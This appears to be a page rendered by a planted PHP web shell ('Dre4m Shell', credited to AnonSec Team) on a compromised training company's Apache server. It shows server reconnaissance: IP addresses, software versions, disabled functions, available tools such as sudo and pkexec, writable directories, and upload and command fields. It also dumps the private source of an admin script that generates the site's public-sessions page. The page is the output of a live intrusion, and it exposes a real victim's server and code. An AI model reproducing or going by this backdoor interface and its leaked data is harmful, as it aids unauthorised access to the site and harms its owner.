Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.191.141.17
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/admin//publicsessions-convert2html.php
<?php
ob_start();
// session_start();
require_once('session-check.php');
require_once('include/db-config.php');
$PageTitle = "";
$MetaKeyword = "";
$MetaDescription = "";
$OtherScript = "";
$sql_seo= "select PageID, PageTitle, MetaKeyword, MetaDescription, OtherScript from seo_details where PageID = 'Session' ";
$result_seo=mysqli_query($conn,$sql_seo) or die(mysqli_error());
while($row_seo=mysqli_fetch_array($result_seo))
{
	$PageTitle = $row_seo['PageTitle'];
	$MetaKeyword = $row_seo['MetaKeyword'];
	$MetaDescription = $row_seo['MetaDescription'];
	$OtherScript = $row_seo['OtherScript'];
}

$r = "";
if(isset($_GET['r']))
	$r = $_GET['r'];

$sqlsp ="select distinct tb1.ID, tb1.SponsorName, tb1.SponsorURL, tb1.Telephone, tb1.Fax, tb1.Email from maintrainer_sponsor tb1 inner join maintrainer_sessiondetails tb2 on tb1.ID = tb2.SponsorID where tb1.Status = 1 and tb2.duplicateflag = 0 order by tb1.OrderNo asc";
$resultsp =mysqli_query($conn,$sqlsp);

// UPDATING PUBLIC SESSIONS MAIN PAGE WITH ALL LINKS
$html_content = '
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<title>'.$PageTitle.'</title>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<meta name="description" content="'.$MetaDescription.'" />
<meta name="keywords" content="'.$MetaKeyword.'" />
<link href="css/style.css" type="text/css" rel="stylesheet" >
<link href="css/aboutus.css" type="text/css" rel="stylesheet" >
</head>
<BODY BGCOLOR=#FFFFFF LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0>
<!-- ImageReady Slices (maintrainer_slice2.jpg) -->
<TABLE WIDTH="100%" BORDER=0 CELLPADDING=0 CELLSPACING=0 align="center">
<TR>
	<TD width="100%" class="header_row" align="center">
        <table border="0" cellpadding="0" cellspacing="0" width="960" align="center">
            <TR>
                <TD class="header_img_back" align="right">
                    <table border="0" cellpadding="0" cellspacing="0">
                        <tr>
                            <td rowspan="3" valign="middle" align="right" style="padding-right:15px;"><img src="images/phone.gif" border="0" alt=""></td>
                        </tr>
                        <tr>
                            <td class="header_phone">
                                USA Toll free : 800-242-5656
                                <br>
                                International : 1-610-397-1006 
                                <!--<br>
                                Fax : 1-610-397-1007-->
                            </td>
                        </tr>
                    </table>
                </TD>
            </TR>
            <TR>
                <TD class="top_nav_back">
                    <table border="0" cellpadding="0" cellspacing="0" align="left">
                        <tr>
                            <td class="top_nav"><a href="home.html" title="Home">Home</a></td>
                            <td><img src="images/top_nav_line.gif" border="0" style="width:2px; height:40px;" alt=""></td>
                            <td class="top_nav"><a href="aboutus.html" title="About Us">About Us</a></td>
                            <td><img src="images/top_nav_line.gif" border="0" style="width:2px; height:40px;" alt=""></td>
                            <td class="top_nav"><a href="links/index.html" title="Resources">Resources</a></td>
                            <td><img src="images/top_nav_line.gif" border="0" style="width:2px; height:40px;" alt=""></td>
                            <td class="top_nav"><a href="articles.html" title="Articles">Articles</a></td>
                            <td><img src="images/top_nav_line.gif" border="0" style="width:2px; height:40px;" alt=""></td>
                            <td class="top_nav"><a href="shophome.php" title="Shop">Shop</a></td>
                            <td><img src="images/top_nav_line.gif" border="0" style="width:2px; height:40px;" alt=""></td>
                            <td class="top_nav"><a href="publicsessions.html" title="Public Sessions">Public Sessions</a></td>                                
                            <td><img src="images/top_nav_line.gif" border="0" style="width:2px; height:40px;" alt=""></td>
                            <td class="top_nav"><a href="onsitetraining.html" title="In-House Training">In-House Training</a></td>                                
                            <td><img src="images/top_nav_line.gif" border="0" style="width:2px; height:40px;" alt=""></td>
                            <td class="top_nav"><a href="contactus.html" title="Contact Us">Contact Us</a></td>
							<td><img src="images/top_nav_line.gif" border="0" style="width:2px; height:40px;" alt=""></td>
                            <td class="top_nav"><a href="sitemap.html" title="Sitemap">Sitemap</a></td>
                        </tr>
                    </table>
                </TD>
            </TR>
        </TABLE>
	</TD>
</TR>
<TR>
	<TD width="100%" align="center">
		<table border="0" cellpadding="0" cellspacing="0"  width="960" align="center" class="body_bg" style="border-color:">
			<tr><td style="height:9px;"></td></tr>
			<tr>
				<td style="width:9px;"></td>
				<td style="width:235px" class="content_bg" align="center" valign="top">
					<table border="0" cellpadding="0" cellspacing="0">
						<tr><td style="height:10px;"></td></tr>
						<tr>
							<td style="height:132px; width:217px;" valign="top">
								<table border="0" cellpadding="0" cellspacing="0" width="100%">
										<tr>
											<td align="left" height="40" width="10%" style="padding-left:10px; padding-right:10px;"><img src="images/bullet.gif" border="0" alt=""></td>
											<td class="left_nav" height="40"><a href="preDesignedSeminars.html" title="Most Popular Seminars">Most Popular Seminars</a></td>											
											
										</tr>
										<tr><td colspan="2"><img src="images/small_line.gif" border="0" alt=""></td></tr>
										<tr>
											<td align="left" height="40" width="10%" style="padding-left:10px; padding-right:10px;"><img src="images/bullet.gif" border="0" alt=""></td>
											<td class="left_nav" height="40"><a href="consulting.html" title="Consulting Services">Consulting Services</a></td>			
										</tr>
										<tr><td colspan="2"><img src="images/small_line.gif" border="0" alt=""></td></tr>
										<tr>
											<td align="left" height="40" width="10%" style="padding-left:10px; padding-right:10px;"><img src="images/bullet.gif" border="0" alt=""></td>
											<td class="left_nav" height="40"><a href="expert-witness-services.html" title="Expert Witness">Expert Witness</a></td>
								
										</tr>
										<tr><td colspan="2"><img src="images/small_line.gif" border="0" alt=""></td></tr>
										<tr><td colspan="2" style="height:20px;"></td></tr>
										<tr>
											<td colspan="2" class="course_agenda_link" style="padding-left:10px;"><a href="newsletter-signup.html" title="Get Free copies of new maintenance management articles when they come out sent directly to your in-box">Get Free copies of new maintenance management articles when they come out sent directly to your in-box</a></td>
								
										</tr>
									</table>
							</td>
						</tr>						
					</table>
					</td>


					<td style="width:9px;"></td>


					<td style="width:696px;" class="content_bg" valign="top">
                    	<table border="0" cellpadding="0" cellspacing="0">
                        	<tr>
                            	<td align="left" style="padding:15px;"><h1>Public Sessions</h1></td>
                            </tr>
                            <tr><td align="center"><img src="images/large-line2.gif" border="0" alt=""></td></tr>
                            <tr>
                            	<td style="padding:15px;" class="normal_text">
                                	<h3 align="left">Schedule of Maintenance Management Courses by Joel Levitt</h3>
									<p align="left">Courses are being scheduled all the time, so check back regularly for new listings. The courses below are organized by Sponsor, so check the whole page for all the cities where we offer training. If you don&#39;t see something suitable, drop me a line to enquire about other possibilities.</p>';
									while($rowsp = mysqli_fetch_array($resultsp))
									{
										$ID = $rowsp['ID'];
										$SponsorName = $rowsp['SponsorName'];
										$SponsorURL = $rowsp['SponsorURL'];
										$Telephone = $rowsp['Telephone'];
										$Fax = $rowsp['Fax'];
										$Email = $rowsp['Email'];										
										
										if($SponsorName != "")
											$html_content = $html_content. '<br>Sponsor Name: '.$SponsorName;
										if($SponsorURL != "")
											$html_content = $html_content. '<br><a target="_blank" href="'.$SponsorURL.'" title="'.$SponsorName.'">'.$SponsorURL.'</a>';
										if($Email != "")
											$html_content = $html_content. '<br>Email: <a href="mailto:'.$Email.'" title="'.$SponsorName.'">'.$Email.'</a>';
										if($Telephone != "")
											$html_content = $html_content. '<br>Tel: '.$Telephone;
										if($Fax != "")
											$html_content = $html_content. '<br>Fax: '.$Fax;
										
										$sql ="select tb1.ID, tb1.SponsorID, tb1.SessionDate, tb1.SessionTitle, tb1.SessionDescription, tb1.SessionLocation, tb3.seminar_title, tb3.seminar_page from maintrainer_sessiondetails tb1 inner join maintrainer_sponsor tb2 on tb2.ID = tb1.SponsorID inner join maintrainer_seminar_matrix tb3 on tb1.seminar_matrix_id = tb3.seminar_id where tb1.Status = 1 and tb1.SponsorID = ".$ID." order by tb1.OrderNo asc";
										$result =mysqli_query($conn,$sql);
										$html_content = $html_content. '<table border="0" cellpadding="0" cellspacing="1" class="normal_text" bgcolor="#ffffff" width="100%" style="margin-top:10px;">
                                    	<tr>
                                        	<td bgcolor="#990000" style="padding:3px;">Date</td>
                                            <td bgcolor="#990000" style="padding:3px;">Session Title</td>
                                            <td bgcolor="#990000" style="padding:3px;">Location</td>
                                        </tr>';
										
										while($row = mysqli_fetch_array($result))
										{
											$ID = $row['ID'];
											$SessionDescription = $row['SessionDescription'];
											$SessionDate = $row['SessionDate'];
											$SessionTitle = $row['SessionTitle'];
											$SessionLocation = $row['SessionLocation'];
											$seminar_title = $row['seminar_title'];
											$seminar_page = $row['seminar_page'];
											$html_content = $html_content. '											
                                            <tr>
											    <td class="content_bg" style="padding:3px;">'.$SessionDate.'</td>';
                                                    if($seminar_page=="")
													{
														$html_content = $html_content. '
														<td class="content_bg" style="padding:3px;">'.$seminar_title.'</td>';
													}
													else
													{
														$html_content = $html_content. '
														<td class="content_bg" style="padding:3px;"><a href='.$seminar_page.' title="'.$seminar_title.'"><u>'.$seminar_title.'</u></a></td>';
													}
													$html_content = $html_content. '
													<td class="content_bg" style="padding:3px;">'.$SessionLocation.'</td>
		                                    </tr>';
										}	
										$html_content = $html_content. '
										</tr></table><br><br>';
									}
									$html_content = $html_content. '
								<br>
								<hr/>
								<h3 align="left"><i><a href="contactus.html" title="Contact Us"><font color="white" style="font-size:14px; color:#FFF">Contact us</font></a> for customized or standard training in your facility when you need it!</i></h3>
								<p align="left">
								<a href="publicsessionscontact.html" title="public session">Click here to request more Information about a public session</a></p><br><br>
							</td>
						</tr>
					</table>
				</td>
				<td style="width:9px;"></td>
			</tr>
			<tr><td style="height:9px;"></td></tr>
		</table>
	</TD>
</TR>
<TR>
    <TD width="100%" align="center" class="footer_back">
        <table border="0" cellpadding="0" cellspacing="0" align="center" width="960">
            <tr>
                <td align="left" class="footer_nav">
                    <a href="home.html" title="Home">Home</a>
                    &nbsp;&nbsp;|&nbsp;&nbsp;
                    <a href="aboutus.html" title="About Us">About Us</a>
                    &nbsp;&nbsp;|&nbsp;&nbsp;
                     <a href="links/index.html" title="Resources">Resources</a>
                    &nbsp;&nbsp;|&nbsp;&nbsp;
                    <a href="articles.html" title="Articles">Articles</a>
                    &nbsp;&nbsp;|&nbsp;&nbsp;
                    <a href="shophome.php" title="Shop">Shop</a>
                    &nbsp;&nbsp;|&nbsp;&nbsp;
                    <a href="publicsessions.html" title="Public Sessions">Public Sessions</a>
                    &nbsp;&nbsp;|&nbsp;&nbsp;
                    <a href="onsitetraining.html" title="In-House Training">In-House Training</a>
                    &nbsp;&nbsp;|&nbsp;&nbsp;
                    <a href="contactus.html" title="Contact Us">Contact Us</a>
					&nbsp;&nbsp;|&nbsp;&nbsp;<a href="unsubscribe.php" title="Unsubscribe">Unsubscribe</a>
                </td>
                <td align="right" class="footer_nav">
                     &copy; 2010 Springfield Resources<br>All Rights Reserved
                    <!--<br /><font color="#3F4473">Developed by Axel Technologies</font>-->
                </td>
            </tr>
        </table>
    </TD>
</TR>
</TABLE>
<!-- Start of StatCounter Code for Default Guide -->
<script type="text/javascript">
var sc_project=7456519; 
var sc_invisible=1; 
var sc_security="ad433605"; 
</script>
<script type="text/javascript"
src="http://www.statcounter.com/counter/counter.js"></script>
<noscript><div class="statcounter"><a title="web
statistics" href="http://statcounter.com/"
target="_blank"><img class="statcounter"
src="http://c.statcounter.com/7456519/0/ad433605/1/"
alt="web statistics"></a></div></noscript>
<!-- End of StatCounter Code for Default Guide -->
</BODY>
</HTML>
<div style="border:none; display: none; visibility:hidden: visible;">'.$OtherScript.'</div>';
$fh = fopen("../publicsessions.html", "w");
fwrite($fh, $html_content);
fclose($fh);

if(isset($_GET['seo']))
{
	header( 'Location: article-convert2html.php?seo=1');
	header($url);
}
else
{
	$url = "Location: sponsor-mgt.php?r=".$r;
	header($url);
}
?>

Anon7 - 2022
AnonSec Team